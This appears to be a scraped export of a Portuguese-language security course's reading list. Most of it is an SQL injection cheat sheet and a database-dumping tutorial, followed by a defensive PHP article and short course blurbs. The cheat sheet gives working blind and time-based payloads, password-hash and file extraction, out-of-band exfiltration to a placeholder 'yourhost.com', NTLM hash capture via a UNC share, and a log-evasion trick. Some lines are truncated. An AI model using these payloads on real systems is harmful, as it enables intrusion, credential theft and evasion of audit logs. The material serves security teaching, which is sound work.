Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

';BEGIN DECLARE @rt varchar(8000) SET @rd=':' SELECT @rd=@rd+' '+name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = 'MEMBERS') AND name>@rd SELECT @rd AS rd into TMP_SYS_TMP end;--
Fast way to extract data from Error Based SQL Injections in SQL Server (S)

Detailed Article: Fast way to extract data from Error Based SQL Injections

Finding Database Structure in MySQL (M)
SELECT table_name FROM information_schema.tables WHERE table_schema = 'databasename'
Getting User defined Tables
SELECT table_name, column_name FROM information_schema.columns WHERE table_name = 'tablename'
Getting Column Names

Finding Database Structure in Oracle (O)
SELECT * FROM all_tables WHERE OWNER = 'DATABASE_NAME'
Getting User defined Tables
SELECT * FROM all_col_comments WHERE TABLE_NAME = 'TABLE'
Getting Column Names

Blind SQL Injections

About Blind SQL Injections

In a quite good production application generally you can not see error responses on the page, so you can not extract data through Union attacks or error based attacks. You have to do use Blind SQL Injections attacks to extract data. There are two kind of Blind Sql Injections.

Normal Blind, You can not see a response in the page, but you can still determine result of a query from response or HTTP status code
Totally Blind, You can not see any difference in the output in any kind. This can be an injection a logging function or similar. Not so common, though.

In normal blinds you can use if statements or abuse WHERE query in injection ( generally easier), in totally blinds you need to use some waiting functions and analyze response times. For this you can use WAITFOR DELAY '0:0:10' in SQL Server, BENCHMARK() and sleep(10) in MySQL, pg_sleep(10) in PostgreSQL, and some PL/SQL tricks in ORACLE.

Real and a bit Complex Blind SQL Injection Attack Sample
TRUE and FALSE flags mark queries returned true or false. TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>103--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>89--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>83--

TRUE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>80--

FALSE : SELECT ID, Username, Email FROM [User]WHERE ID = 1 AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)
This output taken from a real private Blind SQL Injection tool while exploiting SQL Server back ended application and enumerating table names. This requests done for first char of the first table name. SQL queries a bit more complex then requirement because of automation reasons. In we are trying to determine an ascii value of a char via binary search algorithm.

Since both of the last 2 queries failed we clearly know table name's first char's ascii value is 80 which means first char is `P`. This is the way to exploit Blind SQL injections by binary search algorithm. Other well-known way is reading data bit by bit. Both can be effective in different conditions.

Making Databases Wait / Sleep For Blind SQL Injection Attacks

First of all use this if it's really blind, otherwise just use 1/0 style errors to identify difference. Second, be careful while using times more than 20-30 seconds. database API connection or script can be timeout.

WAITFOR DELAY 'time' (S)
WAITFOR DELAY '0:0:10'--
This is just like sleep, wait for specified time. CPU safe way to make database wait.
WAITFOR DELAY '0:0:0.51'
Also, you can use fractions like this,

Real World Samples

Are we 'sa' ?
if (select user) = 'sa' waitfor delay '0:0:10'

ProductID = 1;waitfor delay '0:0:10'--

ProductID =1);waitfor delay '0:0:10'--

ProductID =1';waitfor delay '0:0:10'--

ProductID =1');waitfor delay '0:0:10'--

ProductID =1));waitfor delay '0:0:10'--

ProductID =1'));waitfor delay '0:0:10'--

BENCHMARK() (M)
BENCHMARK(howmanytimes, do this)
Basically, we are abusing this command to make MySQL wait a bit. Be careful you will consume web servers limit so fast!

Real World Samples

Are we root ? woot!
IF EXISTS (SELECT * FROM users WHERE username = 'root') BENCHMARK(1000000000,MD5(1))

Check Table exist in MySQL
IF (SELECT * FROM login) BENCHMARK(1000000,MD5(1))

pg_sleep(seconds) (P)

Sleep for supplied seconds.

sleep(seconds) (M)

Sleep for supplied seconds.

dbms_pipe.receive_message (O)

Sleep for supplied seconds.

(SELECT CASE WHEN (NVL(ASCII(SUBSTR(({INJECTION}),1,1)),0) = 100) THEN dbms_pipe.receive_message(('xyz'),10) ELSE dbms_pipe.receive_message(('xyz'),1) END FROM dual)
{INJECTION} = You want to run the query.

If the condition is true, will response after 10 seconds. If is false, will be delayed for one second.

Covering Your Tracks

SQL Server -sp_password log bypass (S)

SQL Server don't log queries that includes sp_password for security reasons(!). So if you add --sp_password to your queries it will not be in SQL Server logs ( of course still will be in web server logs, try to use POST if it's possible)

Clear SQL Injection Tests

These tests are simply good for blind sql injection and silent attacks.

Extra MySQL Notes

Sub Queries are working only MySQL 4.1+

Users
SELECT User,Password FROM mysql.user;

SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = 'root';

UDF Function

create function LockWorkStation returns integer soname 'user32';

select LockWorkStation();

create function ExitProcess returns integer soname 'kernel32';

select exitprocess();

SELECT USER();

SELECT password,USER() FROM mysql.user;

First byte of admin hash
SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

Read File
query.php?user=1+union+select+load_file(0x63...),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL Load Data infile

By default it's not available !
create table foo( line blob );
load data infile 'c:/boot.ini' into table foo;
select * from foo;

More Timing in MySQL

select benchmark( 500000, sha1( 'test' ) );

query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
Enumeration data, Guessed Brute Force
select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Potentially Useful MySQL Functions

Second Order SQL Injections

Basically, you put an SQL Injection to some place and expect it's unfiltered in another action. This is common hidden layer problem.

Name : ' + (SELECT TOP 1 password FROM users ) + '
Email : xx@xx.com

If application is using name field in an unsafe stored procedure or function, process etc. then it will insert first users password as your name etc.

Forcing SQL Server to get NTLM Hashes

This attack can help you to get SQL Server user's Windows password of target server, but possibly you inbound connection will be firewalled. Can be very useful internal penetration tests. We force SQL Server to connect our Windows UNC Share and capture data NTLM session with a tool like Cain & Abel.

Bulk insert from a UNC Share (S)
bulk insert foo from '\\YOURIPADDRESS\C$\x.txt'

Check out Bulk Insert Reference to understand how can you use bulk insert.

Out of Band Channel Attacks

SQL Server

?vulnerableParam=1; SELECT * FROM OPENROWSET('SQLOLEDB', ({INJECTION})+'.yourhost.com';'sa';'pwd', 'SELECT 1')
Makes DNS resolution request to {INJECT}.yourhost.com

?vulnerableParam=1; DECLARE @q varchar(1024); SET @q = '\\'+({INJECTION})+'.yourhost.com\\test.txt'; EXEC master..xp_dirtree @q
Makes DNS resolution request to {INJECTION}.yourhost.com

{INJECTION} = You want to run the query.

MySQL

Oracle

?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ sniff.php?sniff='||({INJECTION})||'') FROM DUAL)
Sniffer application will save results

?vulnerableParam=(SELECT UTL_HTTP.REQUEST('http://host/ '||({INJECTION})||'.html') FROM DUAL)
Results will be saved in HTTP access logs

?vulnerableParam=(SELECT UTL_INADDR.get_host_addr(({INJECTION})||'.yourhost.com') FROM DUAL)
You need to sniff dns resolution requests to yourhost.com

?vulnerableParam=(SELECT SYS.DBMS_LDAP.INIT(({INJECTION})||'.yourhost.com',80) FROM DUAL)
You need to sniff dns resolution requests to yourhost.com

{INJECTION} = You want to run the query.

Vulnerability Classification and Severity Table

# data[].attributes.attachment_link.description
Use our SQL Injection Cheat Sheet to learn about the different variants of the SQL Injection vulnerability. In this cheat sheet you can find detailed technical information about SQL Injection vulnerabilities against MySQL, Microsoft SQL Server, Oracle and PostgreSQL SQL servers. Your Information will be kept private.

# data[].attributes.body
Texto sobre como evitar SQL Injection em suas aplicações web (30 minutos).

# data[].attributes.attachment_link.readable_text
Artigos PHP Evitando SQL Injection em aplicações PHP

Figura 1. Evitando injeção de SQL na sua aplicação

Hoje, com o aumento da tecnologia da informação, dispositivos móveis, facilidade de acesso à internet e a migração dos meios de pagamento para web, os roubos de dados de usuários se tornaram mais frequentes. Um dos mecanismos usados por invasores para obter informações do seu banco de dados é chamado de SQL Injection, que nada mais é que comandos SQL inseridos em seus formulários ou na barra de endereço do browser.

Seu sistema pode estar vulnerável independentemente da linguagem de programação utilizada na arquitetura de seu sistema, visto que os comandos de SQL injection tem como base instruções SQL, como o próprio nome sugere. Existem métodos e ferramentas de segurança capazes de evitar e apontar falhas na segurança do seu sistema e é isso que vamos ver.

Uma das ferramentas para o suporte a prevenção do SQL Injection é o SQL INJECTION ME: Plugin do Firefox que através do submit de seus formulários acusa se há ou não abertura para o uso de instruções SQL nos mesmos. Alguém mal intencionado pode usar seu formulário de login, por exemplo, para resgatar os dados de acesso de usuários de seu banco para acessar o sistema e modificar seus dados ou obter alguma informação importante.

Outro recurso que os programadores utilizam para prevenir ataques do tipo é a utilização de expressões regulares em seus códigos para "limpar" as variáveis enviadas para o sistema. No exemplo abaixo limpamos a variável de login de um post:

[:alpha:] é a mesma coisa que [a-zA-Z], portanto não são permitidos símbolos nem o _, evitando aquele comando clássico utilizado nos logins como: or ' 1='1 além de todos outros possíveis utilizando caracteres especiais e números. Para comprovarmos fazemos o teste:

Nota: Verificar na documentação do PHP a utilização da função PREG_REPLACE.

Assim como a expressão [:alpha:] está para os caracteres, a função [:alnum:] está para os números e caracteres. [:alnum:] é equivalente a [a-zA-Z0-9]. Para exemplificar vamos retirar todos os caracteres especiais de uma variável. Utilizando o último exemplo, temos:

Observe que diferente do primeiro exemplo, agora ele limpa os caracteres especiais deixando apenas as letras e números. Com esse tipo de prática, diga-se de passagem, bem simples, evitamos problemas de nível crítico em nossas aplicações.

Outro método utilizado por programadores na prevenção de invasões através de comandos SQL é a utilização do PDO (PHP Data Objects) na camada de abstração da aplicação. Esse tipo de recurso é bastante útil e fácil de implementar, além de aumentar a portabilidade entre banco de dados sem muita ou quase nenhuma alteração de instruções SQL.

O PDO utiliza "prepared statements" na formação de suas queries. O que nada mais é que um template que irá nos ajudar a escrever uma instrução. Porque isso ajuda a prevenir ataques de injeção de SQL? Como é um "template", a estrutura nos permite saber onde exatamente irão entrar os valores para as nossas queries. Por exemplo:

Repare na utilização da função "bindValue", nela passamos a variável e o valor da mesma para nossa query. Desta forma colocamos cada variável no seu devido lugar e qualquer código anormal que entre irá gerar erro.

Agora que já vimos algumas formar de evitar invasões, vamos criar um exemplo usual. Vamos simular um login onde conseguimos obter dados da tabela utilizando de SQL Injection e depois vamos alterar o código para evitar tal invasão. Mãos na massa!

Crie um banco chamado login e crie uma tabela login dentro do mesmo através do script acima.

Este é nosso formulário de teste ao qual enviaremos os dados para o banco.

Com este arquivo de conexão, iremos simular a invasão, ou seja, queries desprotegidas sem a utilização de nenhum recurso visto até agora neste artigo.

Por último, o modelo, que recebe os dados do formulário e o envia para a conexão.

Ok, acessando nosso arquivo index.php, vamos realizar o login da seguinte maneira. No campo login deixaremos em branco e no campo senha vamos inserir o seguinte código: ' or '1=1. Ao clicar no botão submit, vamos ter como retorno um debug com todos os usuários cadastrados no nosso banco de dados, provando que o sistema contém falhas.

Corrigindo nossas falhas, iremos editar nossos arquivos modelo.php e conxao.php. No arquivo modelo.php vamos utilizar a técnica da expressão regular para filtrar caracteres indesejados e no arquivo conexao.php vamos utilizar o recurso do PDO para alocação de variáveis com a função bindValue. Veja como ficam nossos arquivos:

Note que agora trabalhamos as variáveis antes de enviar para o banco de dados, eliminando possíveis caracteres não desejados.

Note que agora temos mais duas linhas no arquivo, com o auxilio do função bindValue preenchemos o template de nossa query, proporcionando assim uma maior segurança.

Segurança da informação é muito importante nos sistemas de hoje, não somente na aplicação, mas também nos servidores físicos, rede de dados, etc. Lembre-se que com pequenas atitudes podemos evitar problemas futuros gigantescos. Existem muitos outros meios de aumentar a segurança na sua aplicação, neste artigo mostro-lhes apenas o ponta pé inicial da jornada. Obrigado a todos.

# data[].attributes.attachment_link.title
Evitando SQL Injection em aplicações PHP

# data[].attributes.attachment_link.description
Artigos PHP Evitando SQL Injection em aplicações PHP Hoje, com o aumento da tecnologia da informação, dispositivos móveis, facilidade de acesso à internet e a migração dos meios de pagamento para web, os roubos de dados de usuários se tornaram mais frequentes.

# data[].attributes.body
Texto sobre como realizar exposição de dados usando SQL Injection (20 minutos).

# data[].attributes.attachment_link.readable_text
SQL Injection is a web-based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.

The underlying fact that allows for SQL injection is that the fields available for user input in the web application allow SQL statements to pass through and interact with or query the database directly.

For example, let's consider a web application that implements a form-based login mechanism to store the user credentials and performs a simple SQL query to validate each login attempt.

Here is a typical example:
select * from users where username='admin' and password='admin123′;
If the attacker knows the username of the application administrator is admin, he can log in as admin without supplying any password.

The query in the back-end looks like:
Select * from users where username='admin'-' and password='xxx';
Note the comment sequence (-) causes the followed query to be ignored, so query executed is equivalent to:
Select * from users where username='admin';
So password check is bypassed.

Different types of SQL injections

There are three different kinds of SQL Injections possible on web applications. They are:

This is also called error-based or union-based SQL injection or first order Injection. The application is said to be vulnerable to in-band when the communication between the attacker and the application happens through a single channel, i.e. the attacker uses the same channel to enter the malicious string and to retrieve the data from the database. This is a straightforward technique. The application directly displays the retrieved data on the web pages.

Confirming the vulnerability

Consider an example:

The above URL is an In-band SQLI vulnerable practice site. We can get these practice sites from Google.

By accessing the URL, the browser displays the home page as shown in Figure 1:

Figure 1

Now let's try to confirm the vulnerability by simply adding a single quote at the end of the URL:

The above URL shows an error on the web page saying "Error in your SQL Syntax". This is because of an extra single quote (') that we have entered through the URL into the query in the background. So by seeing the error, we can understand that the URL is vulnerable to in-band SQLI. Figure 2 shows you the error occurred due to concatenating the special character (').

Figure 2

If single quote (') is blocked, then we can try using "or 1=1 -" or "and 1=1" at the end of the URL:

The above URL shows the same page that has been displayed while accessing the URL: http://192.168.2.3/news-and-events.php?id=22 . This is because the condition that we have entered at the end of the URL is always true.

Now try to access by entering the string "or 1=0-"or "and 1=0-". So the URL looks like: http://192.168.2.3/news-and-events.php?id=22 or 1=0- or http://192.168.2.3/news-and-events.php?id=22 and 1=0-.

Now we will not be able to access the page, because the condition "1=0" is always false. Figure 3 shows the page when accessed with the false condition.

Figure 2

Then we can confirm that the URL is vulnerable to SQLI.

The string listed in the below table can be used to confirm SQL Injection:

You can try all the combinations for string "or a=a" that we have tried for "or 1=1″... Like #,-, /* and so on.

Extracting information

Moving further, we can extract or dump the complete database by using "UNION" and "SELECT" commands.

Finding the DBMS

We can find out DBMS type (MS-SQL, MySQL, ORACLE) by using the unique functions of the appropriate database. For example, to find out the database user, all the above databases have different syntaxes.

So let's try to find the DBMS of our SQLI vulnerable site. As a first trial, I am entering "user_name()" at the place where we had "2".

The above URL gives an error saying "Function user_name doesn't exist". Which means the DBMS isn't MS-SQL.

Figure 4

Figure 4 shows that the DBMS isn't MS-SQL

Now let's try with "user ()":

The above URL displays the user name of the DBMS. So we confirm that the DBMS is MySQL.

Figure 5

Figure 5 shows the database user name, which proves that the DBMS is MySQL.

So we can use all the MySQL functions in the place of 2,3,5,7 and dump the database on the web page.

Finding-number-of-columns

Let us try to find out the number of columns in the table using UNION. The URL looks like:

An error displays in the page saying, "Select statement having different number of columns". Now we understand that there are more than one column in the table.

Figure 6

Figure 6 shows the error message occurred by accessing the website using the above URL. (Using select NULL).

So try adding one more NULL:

If we are still receiving the same error, then we keep on adding the NULL to the query and try to find out the number of columns in the table.

The above string gives you the same page as the initial URL, as the number of columns in the table is seven.

Figure 7

Figure 7 shows the page when accessed with the above URL. (Using seven NULLs.)

We can also use "ORDER BY" for finding the number of columns in the table.

So we can understand that there are seven columns in the table.

Now here's the trick. Where will we be able to see the extracted data from the database?

Just add a negative sign before the ID value. Then the data appears on the web page straight away.

(Note: Negative sign (-) before 22.)

Then the application displays some of the numbers on the web page. The above URL displays 2,3,5,7 on the web page.

Figure 8

Figure 8 shows the numbers displayed on the web page.

Finding the version and getting the databases

Figure 9

Figure 9 display the database version "5.0" and the database "nilakantatrust".

Extracting tables from the database

Now let's try extracting all the tables from the database "nilakantatrust".

Figure 10

Figure 10 shows all the tables dumped from the database "nilakantatrust".

Information_schema is the table which contains meta-data, nothing but information about all the tables and columns of the database.

Extracting columns from the tables

Figure 11

Figure 11 displays all the columns of the tables in the database "nilakantatrust". We can look at all the columns and then dump the interesting columns like passwords, SSN, credit card numbers and so on.

This kind of an attack uses two different channels for communication between attacker and the application. Modern DBMS has very powerful applications, and their features go behind simply returning the data to the users. They can be instructed to send an email and they can also interact with the file system.

All of these functionalities are very helpful for an attacker. The attacker establishes a direct connection to the database through one channel to insert the data or the malicious string into the database. DBMS responds through a new channel, like email, or executing the commands using xp_cmdshell and other means.

This is also known as blind SQL injection. Here, the server doesn't respond with any syntax error or other means of notification. This is very similar to normal SQL injection, but when attacked, the server doesn't send any data to the attacker. The attacker needs to retrieve the data by asking true or false questions through SQL commands.

The attacker needs to execute his commands by observing the response of the application. This makes exploiting a SQL Injection attack more difficult but not impossible.

Now let's have some practice.

The above URL gives the same data as the original site.

The above URL shows an error on the web page, as I explained to you previously (in "in-band" type).

Finding the DBMS

To find out the DBMS used by the application, we need to make use of different predefined functions available for different databases.

For example:

To find out the user name of the database, the following syntax is used by different DBMS:

You can know the difference from the cheat-sheet available at Pentest Monkey .

Let us find out the DBMS using the above functions.

Accessing the URL:

This gives you a white page. The white page is different from the URL: http://192.168.2.3/news-and-events.php?id=22 as we have seen the page previously. By observing this difference, we can extract the DBMS type of the application.

Let's check whether the application is using MS-SQL:
http://192.168.2.3/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user_name())%20then%200%20else%201%20end%20)-
In the above URL, I am trying to add 1 to the ID "21", based on the condition. When we access the URL with ID=21 we get the page. When we access the URL with ID=22, we get the home page shown in Figure 1.

In the URL, %2b indicates '+' and %20 indicates ' ' (space). It is called URL encoding. When a particular symbol is filtered, we can pass those symbols by encoding using different encoding techniques available.

The condition in the query is framed using a "case" statement along with "user_name" (a pre-defined function in MS-SQL to return the DB user name). If the function user_name() is found, then the condition returns '1', which makes the ID=22. If it returns '0', the ID remains '21'.

Figure 12

Figure 12 shows a blank page, which confirms that the DBMS isn't MS-SQL. So now, let's check for MySQL.
http://192.168.2.3/news-and-events.php?id=21%2b(select%20case%20when%20(select%20user())%20then%200%20else%201%20end)-
The above URL shows the page with ID=22, which confirms that the DBMS is MySQL.

Finding the version

To find the database version, we can use the substring function in MySQL. Observe the below URL:
http://192.168.2.3/news-and-events.php?id=22%20and%20substr(@@version,1,1)=5-
If the database version is 5, then the substring function returns 5 (as we are trying to extract only one character), where we are comparing the resultant value with 5. Then, if we are able to see the home page, we can confirm that the database is something like version 5.x.x.

If the URL doesn't pop up the home page, then we can try changing the comparing value to 4, 3, and so on.

To find the exact version of the database we need to compare the second character of the version. For example:

substr(@@version,2,1)=0

substr(@@version,3,1)=1

So, by observing the responses of the application, we can extract a complete version of the database.

Finding the user name of the database

We can find out the user name of the database by using both the "case" statement and "substring" function.
http://192.168.2.3/news-and-events.php?id=22%2b%20(select%20case%20when%20(substr(user(),1,1)='a')%20then%200%20else%201%20end)-
Based on the responses of the application, keep on changing the character in the function substr().

Once we get the first letter of the user name, then move on to find out the second letter.

For example:

substr(user(),2,1)='r'

substr(user(),3,1)='b' ...

In this fashion, to find out a single character in the user name, we have to send more than 200 requests with all possible ASCII characters to the server. This technique can be optimized: we can extract a single character from the database within eight requests.

Conclusion

SQL injection is a technique used to dump a complete database of the application by including a few portions of SQL statements in the entry field or the URL.

# data[].attributes.attachment_link.title
Dumping a complete database using SQL injection [updated 2021] - Infosec Resources

# data[].attributes.attachment_link.description
SQL Injection is a web-based attack used by hackers to steal sensitive information from organizations through web applications. It is one of the most common application layer attacks used today. This attack takes advantage of improper coding of web applications, which allows hackers to exploit the vulnerability by injecting SQL commands into the prior web application.

# data[].attributes.body
Vídeo curto que explica o funcionamento dos ataques XXE (4 minutos).

# data[].attributes.attachment_link.title
Treinamento Starter - Aula 08 - A4:2017-Entidades Externas de XML (XXE) - OWASP Top 10 2017

# data[].attributes.body
Documento que apresenta com detalhes o funcionamento de um ataque XXE (15 minutos).

# data[].attributes.body
Vídeo longo demonstrando o ataque XXE e explicando seu funcionamento detalhadamente (33 minutos).

# data[].attributes.headline
Aula 07 - A Seguir... - CRÉDITO DIGITAL AURA

# data[].attributes.subject
Aula 07 - A Seguir... - CRÉDITO DIGITAL AURA

# data[].attributes.body
Não se esqueça de assistir aos conteúdos do crédito digital da Aula 08 (segundo item do Tema 3 0 (Cross-site scripting, desserialização insergura...) no Ambiente Aura! Conta carga horária e haverá prova digital (AVD) específica sobre este assunto!

# data[].attributes.body
Após estudar os conteúdos da aula 07, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 02/05 a 08/05/2022).

# data[].attributes.body
Vídeo que explica e demonstra ataques do tipo XSS (9 minutos).

# data[].attributes.attachment_link.title
ATAQUE XSS - Cross-site scripting - [Aula Grátis]

# data[].attributes.body
Vídeo curto da OWASP que explica o ataque de desserialização insergura (4 minutos).

# data[].attributes.attachment_link.title
Treinamento Starter - Aula 12 - A8:2017-Desserialização Insegura - OWASP Top 10 2017

# data[].attributes.body
Vídeo curto sobre o funcionamento básico da criptografia (14 minutos).

# data[].attributes.attachment_link.title
Criptografia (Guia Básico para Entender Como Funciona) // Dicionário do Programador

# data[].attributes.body
Após estudar os conteúdos da aula 08, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 09/05 a 15/05/2022).

# data[].attributes.body
Vídeo sobre Criptografia no Nerdologia (8 minutos).

# data[].attributes.body
Vídeo com conceitos básicos sobre hardening (11 minutos).

# data[].attributes.body
Vídeo sobre segurança em IoT (10 minutos).

# data[].attributes.body
Vídeo longo sobre hardening, discutindo vários aspectos teóricos e práticos (75 minutos).

# data[].attributes.body
Vídeo longo discutindo aspectos de privacidade e segurança em IoT (40 minutos)

# data[].attributes.body
Vídeo sobre como lidar com incidentes envolvendo dados pessoais (12 minutos).

# data[].attributes.attachment_link.title
LGPD: TOP 10 DESAFIOS PARA A ADEQUAÇÃO (9/11: NOTIFICAÇÃO E RESPOSTA A INCIDENTES DE SEGURANÇA)

# data[].attributes.body
Após estudar os conteúdos da aula 09, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 16/05 a 22/05/2022).

# data[].attributes.body
Cartilha do TCU sobre Segurança - Capítulo 3 tem pontos importantes sobre essa aula. Leitura de 15 minutos.

# data[].attributes.body
Vídeo sobre alguns erros comuns aos iniciantes em segurança da informação (9 minutos)

# data[].attributes.attachment_link.title
5 Erros Que Todo Iniciante Comete - Segurança da Informação

# data[].attributes.body
Vídeo que apresenta o que faz um perito forense computacional (12 minutos)

# data[].attributes.attachment_link.title
Computação Forense - O que faz um perito forense computacional

# data[].attributes.body
Vídeo introdutório sobre plano de recuperação de desastres (8 minutos)

# data[].attributes.attachment_link.title
DISASTER RECOVERY: o plano que vai RECUPERAR sua empresa de um DESASTRE!

# data[].attributes.body
Vídeo retomando o contexto de segurança da informação, detalhando alguns aspectos relevantes (25 minutos)

# data[].attributes.attachment_link.title
Auditoria e Segurança da Informação Aula 01

# data[].attributes.body
Vídeo aprofundando aspectos sobre computação forense (21 minutos)

# data[].attributes.attachment_link.title
Hackers_ Computação Forense Ep. 9_20180714_2025

# data[].attributes.body
Vídeo aprofundando os conceitos envolvidos em um plano de recuperação de desastres (80 minutos)

# data[].attributes.attachment_link.title
Terça de Dados #12 – Disaster Recovery Plan

# data[].attributes.body
Após estudar os conteúdos da aula 10, teste seus conhecimentos no desafio da Atividade Autônoma Aura! (Formulário disponível para respostas exclusivamente de 23/05 a 29/05/2022).